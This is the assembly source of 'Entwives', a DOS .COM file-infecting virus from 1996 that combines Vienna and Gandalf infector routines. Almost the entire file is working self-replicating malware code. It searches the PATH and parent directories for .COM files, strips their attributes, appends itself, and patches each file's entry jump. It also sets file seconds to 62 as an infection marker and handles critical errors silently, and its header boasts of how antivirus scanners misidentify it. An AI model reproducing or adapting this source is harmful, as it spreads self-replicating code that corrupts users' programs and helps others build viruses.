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ENTWIVES.ASM
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Assembly Source File
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1996-04-06
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29KB
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777 lines
; Entwives: Two-in-one by Ender
; This virus is a combination of a G^2 COM infector, called Gandalf and
; the popular Vienna strain. This virus runs the Vienna code 7/8
; times and the Gandalf code the remaining 1/8. The Vienna viral code
; should load the infected file with Vienna and Gandalf while the
; Gandalf code will only load itself into the file.
; Please note that McAfee shows Lisbon and 1014 virus when scanning
; a file infected by this virus. Gandalf is invisible. At least on
; an older version it is.
;------------------------------------------------------------------------------
; First is Vienna
; ~~~~~~~~~~~~~~~
.model tiny
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus:
; ******************************************************************
; Determine which Viral code to use
; BY
; Getting current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ actvir ; If 7/8 use Vienna code
JMP carrier ; If 1/8 use Gandalf code
;*******************************************************************
; This is the special "one in eight" infection. If the above line were in
; its original form, the Gandalf code would be run 1/8 of the time, and
; rather than appending a copy of Vienna+Gandalf virus to the .COM file,
; the file would get the Gandalf virus. Why? Just for the Hell of it!
;*******************************************************************
actvir: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
PUSH ES
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
infectcom:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
; This is GANDALF. The second of the two viruses which the file could
; be infected by. Gandalf, unlike Vienna, only will infect with it's
; own code, instead of the code for both it and Vienna.
; Kudos to G^2 for the code for Gandalf
; Gandalf by Ender
carrier:
db 0E9h,0,0 ; jmp start
start:
call next
next:
pop bp
sub bp, offset next
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
mov ax, 3524h
int 0021h
push es
push bx
lea dx, [bp+INT24] ; ASSumes ds=cs
mov ax, 2524h
int 0021h
push cs
pop es
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
mov byte ptr [bp+numinfect], 0000h
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0007h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
old3 db 0cdh,20h,0
INT24:
mov al, 0003h
iret
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
mov ax, 4300h
lea dx, [bp+newDTA+30]
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
mov bx, ax ; xchg ax,bx is more efficient
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
cmp word ptr [bp+offset readbuffer], 'ZM'
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
lea si, [bp+offset readbuffer]
lea di, [bp+offset old3]
movsb
movsw
sub ax, 0003h
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
mov cx, heap-start
int 0021h
xor cx, cx
mov ax, 4200h
xor dx, dx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
; Data for Gandalf Virus
author db 'Entwives: Two-in-one G by Ender'
COMmask db '*.COM',0
dot_dot db '..',0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
; Data from the Vienna virus
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
creditauthor DB "Entwives: Two-in-one V by Ender" ; My credit
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
CODE ENDS
END VCODE
